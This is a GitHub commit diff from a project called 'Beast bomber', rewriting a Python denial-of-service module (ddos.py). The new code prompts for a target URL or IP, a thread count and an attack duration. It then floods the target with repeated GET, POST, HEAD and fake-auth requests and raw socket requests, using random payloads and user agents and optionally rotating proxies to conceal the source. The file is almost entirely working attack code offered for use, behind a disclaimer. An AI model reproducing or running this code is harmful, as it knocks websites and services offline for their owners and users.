Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
un1cum committed Apr 7, 2023
1 parent 2893f41 commit 73f6900
Showing 1 changed file with 291 additions and 66 deletions.
357 changes: 291 additions & 66 deletions core/ddos_attack/ddos.py
Original file line number Diff line number Diff line change
@@ -1,87 +1,312 @@
"""
╔═════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ Beast bomber ║
║ Author: ║
║ https://github.com/un1cum ║
║ ║
║ The author of this program is not responsible for its use! ║
║ When posting this code on other resources, please indicate the author! ║
║ ║
║ All rights reserved. ║
║ Copyright (C) 2023 un1cum ║
║ ║
╚═════════════════════════════════════════════════════════════════════════════════╝
"""
import os
import time
import fade
import ctypes
import random
import asyncio
import aiohttp
from threading import Thread
import socket
import base64
import urllib3
from datetime import datetime
from pythonping import ping
from sys import platform
from threading import Thread, Lock
from fake_useragent import UserAgent
from colorama import Fore, Style, Back, init
from core.etc.functions import logo_ddos, get_lang, get_proxies

proxies = []
ua = UserAgent()
lib = "1234567890qwertyuiop[]asdfghjkl;'zxcvbnm,./_"
urllib3.disable_warnings()
init()

with open('input/proxies.txt', 'r') as file:
for line in file:
proxies.append(line.replace('\n', ''))

class DDoSAttack:
def __init__(self):
self.r = '0'
self.r2 = '0'
self.text = "{}"
self.url2 = ''
self.ports = []
self.lock = Lock()
self.lang = get_lang()
self.todo = 0
self.started = 0
self.ua = UserAgent(verify_ssl=False)
self.proxies = get_proxies()
self.lib = "1234567890qwertyuiop[]asdfghjkl;'zxcvbnm,./_"

def start_ddos(threads, time_a, target):
for _ in range(threads):
th = Thread(target=ddos_attack, args=(time_a, target))
th.start()
def stat(self):
if platform == 'win32':
ctypes.windll.kernel32.SetConsoleTitleW(f"💣 ・ Successs: {self.r}")

if self.started == self.todo:
with self.lock:
if self.lang == 'ru':
print(Fore.WHITE + '[' + Fore.YELLOW + Style.BRIGHT + 'СТАТУС' + Fore.WHITE + '] ' +
Fore.GREEN + 'ОТПРАВЛЕНО: ' + Fore.MAGENTA + self.r + Fore.RED + ' ОШИБКИ: ' + self.r2)
else:
print(Fore.WHITE + '[' + Fore.YELLOW + Style.BRIGHT + 'STATUS' + Fore.WHITE + '] ' +
Fore.GREEN + 'SENT: ' + Fore.MAGENTA + self.r + Fore.RED + ' FAILS: ' + self.r2)

async def req(target, proxy):
async with aiohttp.ClientSession() as session:
user = ua.random
st = ''
async def ddos_thread(self, target, use_proxy, proxy):
async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(verify_ssl=False)) as session:
user = self.ua.random
now = datetime.now()
st = ''

for _ in range(random.randint(10, 200)):
st += random.choice(lib)
if use_proxy == "y" and proxy == "":
proxy_2 = "http://" + random.choice(self.proxies)
elif proxy != "":
proxy_2 = proxy
else:
proxy_2 = ""

header = {'user-agent': user}
for _ in range(random.randint(10, 200)):
st += random.choice(self.lib)

try:
await session.get(target, timeout=1, proxies=proxy)
except:
pass
header = {'user-agent': user}

try:
await session.get(target, headers=header, timeout=1, proxies=proxy)
except:
pass
try:
host = self.url2.replace('http://', '')
host = self.url2.replace('https://', '')
host2 = host.split('/')[0]
ping(host2, verbose=False)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(target, data=st, headers=header, timeout=1, proxies=proxy)
except:
pass
try:
fake_ip = '182.21.20.32'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, 80))
sock.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, 80))
sock.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, 80))
sock.close()
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(target, data=st, timeout=1, proxies=proxy)
except:
pass
try:
await session.get(self.url2, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(target, json=st, headers=header, timeout=1, proxies=proxy)
except:
pass
try:
await session.get(self.url2, headers=header, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(target, json=st, timeout=1, proxies=proxy)
except:
pass
try:
await session.post(self.url2, data=st, headers=header, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(self.url2, headers=header, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

def ddos_attack(time_a, target):
t = time.monotonic()
while time.monotonic() - t < time_a:
for proxy in proxies:
proxy_2 = {
"http": "http://" + proxy,
"https": "https://" + proxy
}
asyncio.run(req(target, proxy_2))
try:
await session.post(self.url2, data=st, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(self.url2, json=st, headers=header, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(self.url2, json=st, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.head(self.url2, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(self.url2, auth=(st, st), timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.get(self.url2, auth=(st, st), timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.post(self.url2, auth=(st, st), headers=header, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

try:
await session.get(self.url2, auth=(st, st), headers=header, timeout=3, proxy=proxy_2)
self.r = str(int(self.r) + 1)
self.stat()
except:
self.r2 = str(int(self.r2) + 1)
self.stat()

def run_thread(self, time_a, target, use_proxy, proxy=""):
t = time.monotonic()
if use_proxy != 'y':
proxy = ""
while time.monotonic() - t < time_a:
asyncio.run(self.ddos_thread(target, use_proxy, proxy))

def start_ddos(self):
if platform == 'win32':
os.system("cls")
else:
os.system("clear")

state = ''
url4 = ''

logo_ddos()

if self.lang == 'ru':
text = "\nUrl или IP для атаки > "
else:
text = "\nUrl or IP for attack > "

url = input(Fore.YELLOW + Style.BRIGHT + text + Fore.GREEN)
self.url2 = url

if url.find("http://") != -1:
url = url.replace('http://', '')
try:
url3 = url.replace('.', '')
url3 = int(url3)
state = 'ip'
except:
state = 'url'

elif url.find("https://") != -1:
url = url.replace('https://', '')
try:
url3 = url.replace('.', '')
url3 = int(url3)
state = 'ip'
except:
state = 'url'

else:
state = 'ip'

ok = True

if state == 'url':
cnt = 0
for symb in url:
if symb == '/':
cnt += 1
if cnt == 3:
break
url4 += symb

try:
url = socket.gethostbyname(url4)
except:
if self.lang == 'ru':
text = 'Во время обработки url произошла ошибка, проверьте правильность введенных данных.'
else:
text = 'An error occurred while processing the url, check that the data entered is correct.'
print(Back.RED + Fore.WHITE + text + Fore.RESET + Style.RESET_ALL)
ok = False

if ok is True:
if self.lang == 'ru':
text = 'IP цели: '
text2 = 'Использовать прокси? (y/n) > '
text3 = 'Потоки > '
text4 = 'Время атаки (в сек.) > '
text5 = '\n!НЕ РЕКОМАНДУЕТСЯ!'
text6 = '\nЗапустить потоки для каждой прокси? (y/n) > '
text7 = 'поток запущен'
else:
text = 'Target IP: '
text2 = 'Use proxies? (y/n) > '
text3 = 'Threads > '
text4 = 'Time attack (in sec.) > '
text5 = '\n!NOT RECOMMENDED!'
text6 = '\nStart threads for every proxy? (y/n) > '
text7 = 'thread started'

print(Back.YELLOW + Fore.BLACK + text + url + Fore.RESET + Style.RESET_ALL)

if not self.proxies:
use_proxy = 'n'
else:
use_proxy = input(Fore.YELLOW + Style.BRIGHT + text2 + Fore.GREEN).lower()

self.todo = int(input(Fore.YELLOW + Style.BRIGHT + text3 + Fore.GREEN))
time_attack = int(input(Fore.YELLOW + Style.BRIGHT + text4 + Fore.GREEN))

if use_proxy == 'y':
print(Back.RED + Fore.WHITE + text5 + Fore.RESET + Style.RESET_ALL)
proxy_threads = input(Fore.YELLOW + Style.BRIGHT + text6 + Fore.GREEN).lower()
else:
proxy_threads = 'n'

th = None

if proxy_threads == 'y':
for proxy in self.proxies:
for count in range(self.todo):
th = Thread(target=self.run_thread, args=(time_attack, url, use_proxy, proxy,))
th.start()
self.started += 1
print(Fore.WHITE + '[' + Fore.MAGENTA + str(self.started) + Fore.WHITE + '] ' +
Fore.YELLOW + Style.BRIGHT + text7)

else:
for count in range(self.todo):
th = Thread(target=self.run_thread, args=(time_attack, url, use_proxy,))
th.start()
self.started += 1
print(Fore.WHITE + '[' + Fore.MAGENTA + str(self.started) + Fore.WHITE + '] ' +
Fore.YELLOW + Style.BRIGHT + text7)

time.sleep(1)

th.join()

0 comments on commit 73f6900

Please sign in to comment.